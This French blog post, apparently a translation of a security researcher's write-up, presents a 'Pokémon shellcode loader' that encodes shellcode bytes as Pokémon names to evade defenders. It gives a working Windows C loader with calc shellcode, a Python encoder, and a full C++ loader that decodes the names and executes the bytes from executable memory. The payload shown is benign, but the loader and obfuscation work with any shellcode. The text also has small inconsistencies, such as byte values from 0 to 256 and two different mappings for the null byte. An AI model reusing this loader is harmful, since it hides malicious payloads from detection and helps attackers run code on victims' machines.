
Marre de regarder de l'hex toute la journée et de voir des '\x41' ? Vous préférez regarder Lugia/Charmander ? J'ai la solution pour vous.
Marre de regarder de l'hexadécimal toute la journée et de sortir des '\x41' ? Vous préférez regarder Lugia/Charmander ? J'ai la solution pour vous. Un tweet de @Checkymander est arrivé à propos de la création d'un chargeur de shellcode à partir des noms des Pokémon. Un projet très amusant pour embêter la blue team, mais il n'y avait pas de POC ! (ou du moins, lors de ma dernière vérification)
Remarque #1 Le code mis à jour sera sur mon GitHub : https://github.com/Techryptic/Pokemon-Shellcode-Loader
Remarque #2 GitBooks : https://techryptic.gitbook.io/pokemon-shellcode
Remarque #3 GitPages : https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader
Il y a plusieurs façons de faire cela :
Si l'on regarde un shellcode, c'est une série de valeurs hexadécimales de 0x00 à 0xFF, soit sous forme décimale de 0 à 256. Il se trouve qu'il y a bien plus de 256 Pokémon parmi lesquels choisir.
En regardant le tableau des Pokémon ci-dessus, on peut traduire BULBASAUR, qui est #001, en 0x01 (en retirant le premier zéro). De même, CHARMANDER sera représenté par 0x04 et ainsi de suite. L'heureux octet nul 0x00 peut être aligné sur le Pokémon #257, BLAZIKEN !
Convertir un shellcode en Pokemon-Shellcode est simple. Et pourquoi ne pas convertir du Pokemon-Shellcode en Assembly ?! Veut-on un Array dans le .ASM ? Du code C ? Le récupérer en externe ?
Beaucoup de directions possibles !
Il nous faut des données. Tout d'abord, j'ai trouvé deux sources qui contiennent à la fois le numéro du Pokémon et son nom :
Et une autre qui ne contient que le nom du Pokémon. Cela peut être plus utile car on peut obtenir la position de l'index dans le tableau pour un Pokémon donné sans avoir à transporter une longue chaîne.
Je prends un shellcode POP CALC classique et je lui ajoute un peu de C.
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] =
"\x50\x53\x51\x52\x56\x57\x55\x89"
"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
"\x63\x66\x68\x78\x65\x68\x57\x69"
"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
"\x50\x1c\x01\xda\x89\x55\xec\x8b"
"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
"\x31\xd2\x52\x68\x2e\x65\x78\x65"
"\x68\x63\x61\x6c\x63\x68\x6d\x33"
"\x32\x5c\x68\x79\x73\x74\x65\x68"
"\x77\x73\x5c\x53\x68\x69\x6e\x64"
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
Pas mal. Il ne fait rien de malveillant, mais quand même... pas mal.
Un script simple convertit un objet octet de shellcode en Pokémon Shellcode.
import json
shellcode = (b"\x41\x42\x20\x43")
#Do not edit below
PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
Poke_Shellcode = []
for x in shellcode:
Poke_Shellcode.append(PokemonList[x])
print(json.dumps(Poke_Shellcode))
En prenant le shellcode ci-dessus :
\x00\x31\xc0\x50\x68\x2f\x2F
Se convertit en :
Fait amusant : je voulais garder le nom du Pokémon aligné avec son numéro (BULBASAUR = #1, ou 0x01), il fallait donc remplir l'octet nul 0x00 avec quelque chose. Quoi de mieux que MISSINGNO ?!
Un autre problème est que le Pokémon Farfetch'd contient une apostrophe, comme illustré ci-dessous. La solution simple est de la retirer et de l'appeler : Farfetchd
Enfin, il y a aussi deux Pokémon qui partagent le même nom une fois les symboles retirés ; pour ces deux-là, la solution a été d'ajouter un F (pour femelle), et pour l'autre un M (pour mâle).
#include <iostream>
#include <string>
#include <Bits.h>
using namespace std;
// Created by: Techryptic
// @Tech
string indexNumberToHexa(int number);
void reverse_String(string& str, int last_index, int starting_index);
void printAscii(unsigned char* index_to_hexa_array, int counter_s);
int main()
{
string poke_shellcode[] = { "Slowbro", "Farfetchd", "Magnemite", "Magneton", "Seel", "Dewgong", "Dodrio", "Porygon", "Houndoom", "Lapras", "Tyrogue", "Arbok", "Venomoth", "Larvitar", "Seel", "Hitmonlee", "Kingler", "Exeggcute", "Cubone", "Staryu", "Electrode", "Cubone", "Dewgong", "Marowak", "Weezing", "Bellsprout", "Porygon", "Electrode", "Treecko", "Venomoth", "Larvitar", "Voltorb", "Omastar", "Gengar", "Venonat", "Omastar", "Cloyster", "Butterfree", "Omastar", "Cloyster", "Raticate", "Omastar", "Sandshrew", "Omastar", "Sandshrew", "Omastar", "Cloyster", "Pidgey", "Porygon", "Haunter", "Tyranitar", "Venomoth", "Sunflora", "Omastar", "Machoke", "Poliwag", "Bulbasaur", "Teddiursa", "Omastar", "Kadabra", "Staryu", "Bulbasaur", "Teddiursa", "Omastar", "Tentacool", "Clefable", "Bulbasaur", "Ursaring", "Porygon", "Ponyta", "Entei", "Omastar", "Staryu", "NidoranM", "Bulbasaur", "Remoraid", "Porygon", "Electabuzz", "Magby", "Omastar", "Slowbro", "Sandslash", "Bulbasaur", "Slugma", "Porygon", "Dodrio", "Tyrogue", "Omastar", "Grimer", "Raticate", "Venomoth", "Sunflora", "Omastar", "Dodrio", "Tyranitar", "Omastar", "Electabuzz", "Magby", "Omastar", "Seadra", "Treecko", "Venomoth", "Unown", "Treecko", "Omastar", "Poliwag", "Jolteon", "Bulbasaur", "Sneasel", "Exeggcute", "Lapras", "Yanma", "Wartortle", "Raikou", "Ledian", "Horsea", "Caterpie", "Kadabra", "Primeape", "Teddiursa", "Tangela", "Houndoom", "Lapras", "Espeon", "Ninetales", "Smeargle", "Alakazam", "Omastar", "Ponyta", "Entei", "Porygon", "Qwilfish", "Omastar", "Dodrio", "Tyrogue", "Exeggcute", "Omastar", "Charmander", "Alakazam", "Omastar", "Charmander", "Gyarados", "Bulbasaur", "Teddiursa", "Venomoth", "Granbull", "Magneton", "Cubone", "Paras", "Electrode", "Staryu", "Electrode", "Cubone", "Kingler", "Hypno", "Lickitung", "Kingler", "Cubone", "Koffing", "Dugtrio", "Diglett", "Gastly", "Cubone", "Starmie", "Kangaskhan", "Horsea", "Electrode", "Cubone", "Seaking", "Kangaskhan", "Gastly", "Farfetchd", "Cubone", "Marowak", "Weezing", "Voltorb", "Rhyhorn", "Cubone", "Machoke", "Growlithe", "Gastly", "Dewgong", "Porygon", "Kingdra", "Hitmonlee", "Caterpie", "Seel", "Torchic", "Steelix", "Lapras", "Espeon", "Weepinbell", "Haunter", "Onix", "Gengar", "Shellder", "Muk", "Cloyster", "Grimer", "Quagsire" };
/// Do not edit below
string pokemon[256] = { "Missingno", "Bulbasaur", "Ivysaur", "Venusaur", "Charmander", "Charmeleon", "Charizard", "Squirtle", "Wartortle", "Blastoise", "Caterpie", "Metapod", "Butterfree", "Weedle", "Kakuna", "Beedrill", "Pidgey", "Pidgeotto", "Pidgeot", "Rattata", "Raticate", "Spearow", "Fearow", "Ekans", "Arbok", "Pikachu", "Raichu", "Sandshrew", "Sandslash", "NidoranF", "Nidorina", "Nidoqueen", "NidoranM", "Nidorino", "Nidoking", "Clefairy", "Clefable", "Vulpix", "Ninetales", "Jigglypuff", "Wigglytuff", "Zubat", "Golbat", "Oddish", "Gloom", "Vileplume", "Paras", "Parasect", "Venonat", "Venomoth", "Diglett", "Dugtrio", "Meowth", "Persian", "Psyduck", "Golduck", "Mankey", "Primeape", "Growlithe", "Arcanine", "Poliwag", "Poliwhirl", "Poliwrath", "Abra", "Kadabra", "Alakazam", "Machop", "Machoke", "Machamp", "Bellsprout", "Weepinbell", "Victreebel", "Tentacool", "Tentacruel", "Geodude", "Graveler", "Golem", "Ponyta", "Rapidash", "Slowpoke", "Slowbro", "Magnemite", "Magneton", "Farfetchd", "Doduo", "Dodrio", "Seel", "Dewgong", "Grimer", "Muk", "Shellder", "Cloyster", "Gastly", "Haunter", "Gengar", "Onix", "Drowzee", "Hypno", "Krabby", "Kingler", "Voltorb", "Electrode", "Exeggcute", "Exeggutor", "Cubone", "Marowak", "Hitmonlee", "Hitmonchan", "Lickitung", "Koffing", "Weezing", "Rhyhorn", "Rhydon", "Chansey", "Tangela", "Kangaskhan", "Horsea", "Seadra", "Goldeen", "Seaking", "Staryu", "Starmie", "Mr. Mime", "Scyther", "Jynx", "Electabuzz", "Magmar", "Pinsir", "Tauros", "Magikarp", "Gyarados", "Lapras", "Ditto", "Eevee", "Vaporeon", "Jolteon", "Flareon", "Porygon", "Omanyte", "Omastar", "Kabuto", "Kabutops", "Aerodactyl", "Snorlax", "Articuno", "Zapdos", "Moltres", "Dratini", "Dragonair", "Dragonite", "Mewtwo", "Mew", "Chikorita", "Bayleef", "Meganium", "Cyndaquil", "Quilava", "Typhlosion", "Totodile", "Croconaw", "Feraligatr", "Sentret", "Furret", "Hoothoot", "Noctowl", "Ledyba", "Ledian", "Spinarak", "Ariados", "Crobat", "Chinchou", "Lanturn", "Pichu", "Cleffa", "Igglybuff", "Togepi", "Togetic", "Natu", "Xatu", "Mareep", "Flaaffy", "Ampharos", "Bellossom", "Marill", "Azumarill", "Sudowoodo", "Politoed", "Hoppip", "Skiploom", "Jumpluff", "Aipom", "Sunkern", "Sunflora", "Yanma", "Wooper", "Quagsire", "Espeon", "Umbreon", "Murkrow", "Slowking", "Misdreavus", "Unown", "Wobbuffet", "Girafarig", "Pineco", "Forretress", "Dunsparce", "Gligar", "Steelix", "Snubbull", "Granbull", "Qwilfish", "Scizor", "Shuckle", "Heracross", "Sneasel", "Teddiursa", "Ursaring", "Slugma", "Magcargo", "Swinub", "Piloswine", "Corsola", "Remoraid", "Octillery", "Delibird", "Mantine", "Skarmory", "Houndour", "Houndoom", "Kingdra", "Phanpy", "Donphan", "Porygon2", "Stantler", "Smeargle", "Tyrogue", "Hitmontop", "Smoochum", "Elekid", "Magby", "Miltank", "Blissey", "Raikou", "Entei", "Suicune", "Larvitar", "Pupitar", "Tyranitar", "Lugia", "Ho-Oh", "Celebi", "Treecko", "Grovyle", "Sceptile", "Torchic" };
int size1 = sizeof(pokemon) / sizeof(pokemon[0]);
int size2 = sizeof(poke_shellcode) / sizeof(poke_shellcode[0]);
//creating a dynamic array for holding indexes having size=siez of poke_shellcode considering the
//assumtion that all poke_shellcode elements exist in pokemon
int* index = new int[size2];
int index_counter = 0;
for (int i = 0; i < size2; i++) { //reading poke_shellcode element one by one
for (int j = 0; j < size1; j++) { //reading pokemon element one by one
if (poke_shellcode[i].compare(pokemon[j]) == 0) { //both strings are equal
index[index_counter] = j; //saving index
index_counter++;
break; //stoping inner loop
}
}
}
//for storing hex values of indexes
unsigned char* index_to_hexa_array = new unsigned char[index_counter * 5];
int counter_s = 0;
for (int i = 0; i < index_counter; i++) {
string value = "";
value += "\\x";
if (index[i] < 10) {
value += "0";
}
value += indexNumberToHexa(index[i]); //converting each index to hexa and inserting in array
for (int k = 0; k < (int)value.length(); k++) {
index_to_hexa_array[counter_s] = value[k];
counter_s++;
}
}
std::string payload;
index_to_hexa_array[counter_s] = '\0';
printAscii(index_to_hexa_array, counter_s);
delete[]index; //freeing memory
delete[]index_to_hexa_array;
index = nullptr; //reseting the index pointer
index_to_hexa_array = nullptr;
return 0;
}
void reverse_String(string& str, int last_index, int starting_index) {
if (last_index <= starting_index) { return; }
swap(str[starting_index], str[last_index]);
reverse_String(str, last_index - 1, starting_index + 1);
}
string indexNumberToHexa(int number) {
string hexavalue = "";
while (number != 0) {
int remainder = number % 16;
if (remainder < 10) { //number 0-9
hexavalue += remainder + 48;
}
else {//alphabet A-F
hexavalue += remainder + 55; //converting number to alphabet
}
number = number / 16;
}
reverse_String(hexavalue, hexavalue.length() - 1, 0);
return (hexavalue != "" ? hexavalue : "0");
}
void printAscii(unsigned char* index_to_hexa_array, int counter_s) {
string sc;
for (int i = 2; i < counter_s; i++) {
if (index_to_hexa_array[i] != '\\' && index_to_hexa_array[i] != 'x') {//hex value cannot be more than 2 characters
string vt; // hex ex: 01
vt.push_back(index_to_hexa_array[i]);
vt.push_back(index_to_hexa_array[i + 1]);
//cout << (char)stoul(vt, nullptr, 16);
unsigned char n = (char)stoul(vt, nullptr, 16);
sc += n;
i++;
}
}
sc += '\0'; // adding nullbyte to string to mimic array
//std::cout << "The size is " << sc.size() << " bytes.\n";
DWORD oldprotect = 0;
void* exec = VirtualAlloc(0, sc.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, sc.c_str(), sc.size());
((void(*)())exec)();
}
Voilà, c'est la conclusion. Le même code, mais en utilisant des Pokémon, donne un bien meilleur résultat que ce que je pensais.
Au final, c'est toujours une bataille entre Red vs. Blue.
